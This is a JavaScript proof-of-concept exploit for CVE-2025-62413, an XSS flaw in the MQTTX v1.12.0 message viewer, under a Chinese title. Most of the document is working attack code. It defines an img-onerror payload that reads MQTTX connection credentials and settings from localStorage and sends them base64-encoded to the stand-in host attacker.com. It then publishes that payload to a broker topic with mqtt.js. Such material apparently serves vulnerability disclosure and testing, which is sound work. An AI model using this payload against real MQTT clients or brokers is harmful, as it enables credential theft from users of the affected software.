CVE-2025-62413：MQTTX MQTT消息负载渲染XSS漏洞

/* * CVE-2025-62413 - MQTTX XSS Proof of Concept * * This PoC demonstrates how a malicious MQTT message payload * can trigger XSS in MQTTX v1.12.0 message viewer. * * Steps to reproduce: * 1. Set up an MQTT broker (e.g., Mosquitto, EMQX) * 2. Publish a malicious payload to a topic using any MQTT client * 3. Subscribe to the same topic in MQTTX v1.12.0 * 4. The JavaScript in the payload will execute in the MQTTX UI context */ // Malicious MQTT payload to be published to a target topic const maliciousPayload = ` <img src=x onerror=" // Attempt to access MQTTX stored credentials from localStorage var creds = JSON.stringify({ connections: localStorage.getItem('mqttx_connections'), settings: localStorage.getItem('mqttx_settings'), location: window.location.href }); // Exfiltrate data (in real attack, send to attacker-controlled server) new Image().src = 'http://attacker.com/steal?data=' + btoa(creds); // Display a fake dialog to the user document.body.innerHTML += '<div style=\"position:fixed;top:0;left:0;width:100%;height:100%;background:red;z-index:99999\"><h1>XSS Triggered - CVE-2025-62413</h1></div>'; "> `; // Using mqtt.js library to publish the malicious payload const mqtt = require('mqtt'); const client = mqtt.connect('mqtt://broker.example.com:1883'); client.on('connect', () => { console.log('[+] Connected to broker, publishing XSS payload...'); client.publish('test/topic', maliciousPayload, { qos: 1 }, (err) => { if (err) { console.error('[-] Publish failed:', err); } else { console.log('[+] Malicious payload published successfully!'); console.log('[!] When a MQTTX v1.12.0 client receives this message,'); console.log('[!] the embedded JavaScript will execute in the UI context.'); } client.end(); }); }); client.on('error', (err) => { console.error('[-] Connection error:', err); });